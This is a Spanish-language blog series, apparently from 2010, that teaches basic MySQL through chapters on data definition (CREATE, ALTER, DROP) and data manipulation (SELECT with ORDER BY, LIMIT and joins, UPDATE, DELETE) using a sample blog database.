Selecciones con orden:

Si lo que queremos es seleccionar los registros en un orden concreto podemos utilizar la cláusula ORDER BY de la siguiente manera:

SELECT *
FROM categoria
ORDER BY titulo ASC;

De esta forma ordenamos por orden alfabético ascendente de titulos los registros de la tabla categoria. También podemos ordenarlos por orden alfabético descendente utilizando DESC en vez de ASC.

Selecciones con límites:

También podemos especificar las filas que queremos seleccionar utilizando la cláusula LIMIT. Esta cláusula toma dos parámetros, el número de fila desde la que empezar y el número de filas que devolver.

SELECT *
FROM articulo
LIMIT 2,3;

Seleccionamos 3 registros a partir de la fila 2. Tenemos que tener en cuenta que se empieza a contar desde cero, por lo que la primera fila que selecciona es la tercera.

SELECT *
FROM articulo
LIMIT 0,2;

Selecciones en múltiples tablas (INNER JOIN o CROSS JOIN):

Lo más seguro es que queramos recuperar datos en más de una tabla. Por ejemplo, para saber los articulos que hay publicados bajo la categoria PHP tendremos que consultar los datos en las tablas articulo y categoria. Para poder seleccionar estos datos se aplica una operación llamada combinación que consiste en unir dos o más tablas.

SELECT articulo.titulo, articulo.contenido
FROM articulo, categoria
WHERE articulo.id_categoria = categoria.id_categoria
AND categoria.titulo='PHP';

Como queremos extraer datos de dos tablas las hemos enumerado separadas entre comas en la cláusula FROM. La coma equivale a escribir INNER JOIN o CROSS JOIN, es un tipo de combinación en la que se realiza el producto cartesiano entre las tablas. Esto quiere decir que se toma todas las tablas indicadas y se crea otra tabla con todas las combinaciones posibles de filas de cada tabla, tenga sentido o no.

Lo siguiente a tener en cuenta es especificar un criterio de selección con la cláusula WHERE que relacione las dos tablas. En este caso, la condición es
articulo.id_categoria = categoria.id_categoria
que le indica a MySQL que ponga filas en la tabla de resultados si el valor de id_categoria de la tabla articulo coincide con el valor de id_categoria de la tabla categoria. De esta forma hemos creado otro tipo de combinación llamada combinación de igualdad.

Si observais hemos utilizado una notación con puntos de la forma nombreTabla.nombreColumna, es una notación obligatoria si el nombre de las columnas es ambigua. En nuestro caso, la columna id_categoria de la tabla articulo tiene el mismo nombre que la columna id_categoria de la tabla categoría, así que es obligatorio indicar que columna de que tabla estamos utilizando. Si los nombres de las columnas son diferentes no hace falta utilizar la notación de puntos dado que MySQL es inteligente y no se va a equivocar, pero es aconsejable utilizarla ya que las consultas son más legibles para los seres humanos.

Selecciones en múltiples tablas (LEFT JOIN):

MySQL también admite combinaciones por la izquierda. En el ejemplo anterior, seleccionamos las filas que coincidían entre las tablas, pero en ocasiones lo que necesitamos es seleccionar las filas que no coincidan. En esta combinación se comparan las filas a partir de una combinación dada entre dos tablas. Sino existen filas coincidentes en la tabla de la derecha se agregará una fila al resultado que contenga valores NULL en las columnas de la tabla de la derecha.

Para ver en acción este tipo de combinaciones vamos a insertar un nuevo artículo que tenga una categoría que no está registrada en la tabla categoría.

INSERT INTO articulo
VALUES(NULL, 4, 'Curso AJAX', 'Contenido del curso AJAX.');

NOTA: Especificamos NULL en el campo de la columna id_articulo porque MySQL se encargará de establecer el valor correspondiente ya que si os acordais esa columna se autoincrementaba.

Ahora si realizamos una combinación por la izquierda entra las tablas articulo y categoría podemos observar mejor su comportamiento.

SELECT articulo.titulo, articulo.contenido, categoria.titulo, categoria.descripcion
FROM articulo LEFT JOIN categoria
ON articulo.id_categoria = categoria.id_categoria;


Vemos como la última fila tiene valores NULL en las columnas titulo y descripcion de la tabla categoría dado que no existe una categoria con id_categoría = 4.

De este tipo de combinaciones cabe destacar que la sintaxis utilizada es un poco diferente. La relación entre las tablas se especifica en la cláusula ON, pero también podemos utilizar la cláusula USING si las columnas que relacionan las tablas tienen el mismo nombre.

SELECT articulo.titulo, articulo.contenido, categoria.titulo, categoria.descripcion
FROM articulo LEFT JOIN categoria
USING (id_categoria);

Como puede que este ejemplo no haya sido muy claro para entender las combinaciones por la izquierda, vamos a realizar otro ejemplo. Imaginar que queremos seleccionar los artículos que no tienen comentarios.

SELECT articulo.titulo, articulo.contenido
FROM articulo LEFT JOIN comentario
USING (id_articulo)
WHERE comentario.autor IS NULL;

La sentencia SELECT es la más poderosa y compleja de las sentencias de manipulación de datos. En este capítulo no vamos a tratar las funciones de agregación y no vamos a entrar en detalles a la hora de realizar subconsultas ya que me estoy extendiendo mucho en este curso relámpago, lo dejo para capítulos posteriores.

Actualizando registros en las tablas

Para modificar registros en las tablas utilizamos la sentencia UPDATE. Como siempre, podeis ver la sintaxis completa con todas las cláusulas en la especificación oficial de MySQL 5.0:
http://dev.mysql.com/doc/refman/5.0/es/update.html

La sintaxis básica de la sentencia UPDATE es la siguiente:

UPDATE [LOW_PRIORITY] [IGNORE] nombretabla
SET columna1=valor1, columna2=valor2, ...
[WHERE condición]
[ORDER BY tipo_orden]
[LIMIT tipo_limite];

No voy a entrar mucho en detalle puesto que con todo lo que sabemos ya nos podemos hacer una idea de como funcionan este tipo de sentencias. La idea consiste en actualizar los registros de una tabla. Sino especificamos una condición con la cláusula WHERE modificaremos todas las filas de la tabla. La opción LOW_PRIORITY e IGNORE funcionan de la misma forma que en la sentencia INSERT.

Vamos a ver un ejemplo sencillo en el que vamos a modificar el contenido del articulo cuyo id es uno.

UPDATE articulo
SET contenido = 'Contenido actualizado.'
WHERE id_articulo=1;

Eliminando registros de las tablas

Para eliminar registros en las tablas de la base de datos podemos utilizar la sentencia DELETE. Podeis ver la sintaxis completa en la especificación oficial de MySQL 5.0:
http://dev.mysql.com/doc/refman/5.0/es/delete.html

La sintaxis básica de la sentencia DELETE es la siguiente:

DELETE [LOW_PRIORITY] [QUICK] [IGNORE]
FROM tabla
[WHERE condicion]
[ORDER BY tipo_orden]
[LIMIT tipo_limite];

donde los corchetes son cláusulas opcionales. Hay que tener mucho cuidado con este tipo de sentencias, dado que si no especificamos una condición se borrarán todas las filas de la tabla seleccionada.

LOW_PRIORITY e IGNORE funcionan de la misma forma que en la sentencia INSERT y UPDATE. QUICK es más rápido en las tablas cuyo motor de almacenamiento es MyISAM, pero no vamos a entrar mucho en detalle y es mejor no utilizarlo sino tienes conocimientos avanzados dado que esta opción tiene que ver con el uso de índices.

La cláusula ORDER BY se suele utilizar junto a LIMIT para establecer un límite ordenado de filas que se van a eliminar. Un ejemplo sencillo y acabamos. Vamos a borrar los comentarios escritos por Estefania Martinez:

DELETE
FROM comentario
WHERE autor='Estefania Martinez';

RESUMEN

Hasta aquí el curso relámpago de MySQL y el uso de las sentencias SQL de manipulación de datos. Ya estamos preparados para interactuar con MySQL desde PHP.  Es muy importante entender todo esto dado que una aplicación web no es más que un conjunto enorme de datos que se manipulan. Por ejemplo cuando entramos a un foro la aplicación web nos está mostrando todas las categorías existentes en la tabla de categorías del foro. O cuando respondemos a un mensaje en un foro estamos insertando en la tabla de comentarios un nuevo registro.

Categorías:MySQL, SQL Etiquetas: , ,

Curso MySQL. Capítulo 2: Sentencias SQL de definición de datos.

24 junio, 2010 1 comentario

Seguimos con el curso relámpago dedicado a MySQL. Vamos a ver la parte del lenguaje SQL conocida como DDL, lenguaje de definición de datos. Para poder llevar a cabo los ejemplos recomiendo instalar EasyPHP o alguno parecido que incluya PHPMyAdmin para poder interactuar directamente con MySQL desde una interfaz web y ahorrarnos trabajar con el monitor de MySQL. De todas  se puede utilizar perfectamente  la línea de comandos y el monitor MySQL.

Nuestro ejemplo va a ser sencillo, vamos a diseñar el esquema básico de una base de datos para un blog. Tendremos una tabla para guardar los artículos, otra tabla para guardar los comentarios de los artículos y una tabla para guardar las categorias de los artículos.

Iniciando el monitor en la línea de comandos

Para iniciar sesión en el monitor MySQL escribe en la línea de comandos lo siguiente:

mysql -h nombredehost -u nombredeusuario -p

El comando mysql invoca al monitor. La opción -h especifica el nombre del host, si se ha iniciado el servidor localmente especificamos localhost. La opción -u especifica el usuario que tiene acceso al sistema gestor de base de datos. Si hemos instalado EasyPHP el usuario lo habremos creado durante la instalación. La opción -p le indica al monitor que el usuario tiene que acceder a través de una contraseña.

En mi caso escribo en la línea de comandos:

mysql -h localhost -u root -p

El monitor te pedirá que escribas la contraseña.

Enter password:

Escribimos el password y apretamos ENTER. Nos mostrará un mensaje de bienvenida y se mostrará el prompt de MySQL.

mysql >

A partir de aquí ya podemos ejecutar sentencias SQL. No voy a explicar como definir nuevos usuarios en el sistema gestor ni los principios de privigelios de momento porque es un tema un poco más avanzado si es la primera vez que te enfrentas a las bases de datos. Pero lo ideal sería crear un usuario y asignarle los privilegios más bajos necesarios para realizar las tareas que se desee.

Creando la base de datos

Para crear una base de datos utilizamos la sentencia CREATE DATABASE nombre_base_de_datos.

mysql > CREATE DATABASE blog;

NOTA: No hay que tipear mysql >. Esto es el prompt del monitor que nos indica que podemos escribir sentencias SQL.

Como acabo de instalar MySQL inicialmente no existe ninguna base de datos, así que no habrá problemas con esta sentencia. Pero si la base de datos blog ya existiera ocurriría un error y no la crearía. Para evitar el error podemos especificar la opción IF NOT EXISTS.

mysql > CREATE DATABASE IF NOT EXISTS blog;

El monitor mysql nos responde con:

Query OK, 1 row affected (0.02 sec)

indicandonos que todo ha ido bien. Ahora la seleccionamos mediante la sentencia USE blog.

El link a la especificación oficial de la sentencia en el manual de referencia por si quereis ver todas las posibles opciones:
http://dev.mysql.com/doc/refman/5.0/es/create-database.html

Creando las tablas de la base de datos

Hemos creado la base de datos, ahora tenemos que crear las tres tablas de nuestro ejemplo. Para crear tablas ejecutamos la sentencia CREATE TABLE nombretabla (columnas).

La sintaxis de CREATE TABLE es inmensa. Podeis acceder a la especificación en el manual de referencia para ver todas las opciones que podeis especificar:
http://dev.mysql.com/doc/refman/5.0/es/create-table.html

Vamos a ver un ejemplo para entenderlo todo mejor. La tabla articulo que almacenará los diferentes articulos de la base de datos tendrá un conjunto de columnas: id_articulo, id_categoria, titulo y contenido.

CREATE TABLE articulo
(  id_articulo BIGINT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
   id_categoria INT UNSIGNED NOT NULL,
   titulo VARCHAR(250) NOT NULL,
   contenido TEXT NOT NULL
);

Especificamos el nombre de la columna, el tipo de datos de la columna y una serie de opciones que son autodescriptivas por sí mismas si teneis un poco de idea de inglés. No voy a entrar a detallar los diferentes tipos de datos que permite especificar MySQL, podeis verlos en el enlace de antes. La opción NOT NULL signifca que la columna no puede tomar un valor nulo. La opción AUTO_INCREMENT significa que cada vez que insertemos un registro en la tabla el valor de esa columna se autoincrementará en uno o en el valor que especifiquemos. PRIMARY KEY significa que id_articulo es la clave primaria de la tabla articulo.

Las tablas creada por defecto utilizan el motor de almacenamiento MyISAM pero se puede cambiar para soportar transacciones con el motor InnoDB. Puede que lo veamos en posteriores artículos.

Continuando con el ejemplo, creamos las tablas para representar los comentarios y las categorias.

CREATE TABLE comentario
(  id_comentario INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
   id_articulo BIGINT UNSIGNED NOT NULL ,
   autor VARCHAR(250) NOT NULL,
   contenido TEXT NOT NULL
);

CREATE TABLE categoria
(  id_categoria INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
   titulo VARCHAR(250) NOT NULL,
   descripcion TEXT NOT NULL
);

Podemos escribir las sentencias directamente en la linea de comandos o almacenarlas en un archivo con extensión .sql y utilizar el comando SOURCE nombrefichero.

Yo he guardado las sentencias en un fichero llamado sentencias.sql. Ahora invocamos ese fichero en el monitor de la siguiente forma:

mysql > SOURCE sentencias.sql;

El monitor nos responde diciendonos que todo ha ido bien:

Query OK, 0 rows affected (0.03 sec)
Query OK, 0 rows affected (0.03 sec)
Query OK, 0 rows affected (0.03 sec)

Podemos utilizar la sentencia SHOW TABLES para ver las tablas que hemos creado.

Borrando tablas y bases de datos

La sentencia DROP DATABASE basededatos borra TODA la base de datos con TODAS las tablas que contiene. Cuidado con esta sentencia.

La sentencia DROP TABLE tabla borra TODA la tabla con TODOS los datos que contiene. Cuidado con esta sentencia.

Alterando tablas y bases de datos

La sentencia ALTER DATABASE permite cambiar las características de la base de datos.

La sentencia ALTER TABLE permite cambiar la estructura de una tabla existente. Imaginar que queremos añadir una nueva columna a la tabla articulo para mostrar la fecha y la hora a la que ha sido creado el artículo.

ALTER TABLE articulo ADD fecha TIMESTAMP(12) NOT NULL;

RESUMEN

No vamos a ver en detalle todas las opciones porque necesitariamos un libro entero para describir todo. Para ello teneis el manual en línea de MySQL 5.0 donde podeis encontrar detalladamente toda la sintaxis de las sentencias de definicion de datos (DDL):
http://dev.mysql.com/doc/refman/5.0/es/data-definition.html

Ya sabemos crear bases de datos y tablas, borrarlas y modifcarlas. En el siguiente capítulo veremos como insertar, seleccionar, modificar y borrar registros utilizando las sentencias de manipulacion de datos (DML).

Categorías:MySQL, SQL Etiquetas: , ,

Curso MySQL. Capítulo 1:Introducción

16 junio, 2010 2 comentarios

Me decidí escribir algunos artículos sobre MySQL mientras escribía el curso de PHP. En el curso de PHP ha llegado la hora de interactuar con bases de datos, y esta pendiente ver en concreto como interactuar con el sistema gestor de bases de datos MySQL. Pero antes de empezar a utilizar MySQL en PHP, hace falta algunos conocimientos sobre MySQL y sobretodo conocimientos de SQL.

Ya he recomendado un libro muy bueno que trata en profundidad el estándar ANSI/ISO SQL, pero MySQL incluye algunas extensiones al estandar SQL.Podeis encontrarlas las diferencias y las extensiones en el manual de referencia MySQL 5.0 disponible en castellano en el siguiente enlace:

http://dev.mysql.com/doc/refman/5.0/es/differences-from-ansi.html

http://dev.mysql.com/doc/refman/5.0/es/extensions-to-ansi.html

Este curso en un principio va a ser breve, incluirá algunos capítulos en los que trataré el lenguaje de definición de datos (DDL) y el lenguaje de manipulación de datos (DML) utilizados en las sentencias SQL de MySQL. No voy a entrar de momento en detalles de como instalar MySQL o como optimizar las bases de datos, ni es aspectos técnicos como que motor utilizar, MyISAM o InnoDB.  Aunque no decanto la idea de un futuro aumentar el curso para tocar todos estos temas.

Voy a presuponer que el lector tiene conocimientos sobre el uso de base de datos relacionales, y conoce la terminología básica (tabla, registro, columna, indíce, claves primarias, claves foráneas, relaciones, etc).

En definitiva, va a ser un curso relámpago para poder continuar con el curso PHP, una especie de resumen de las principales sentencias. Podeis encontrar más información en los libros que recomiendo, y en el manual de referencia oficial.

Categorías:Bases de datos, MySQL, SQL Etiquetas: ,
Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.

Únete a otros 64 seguidores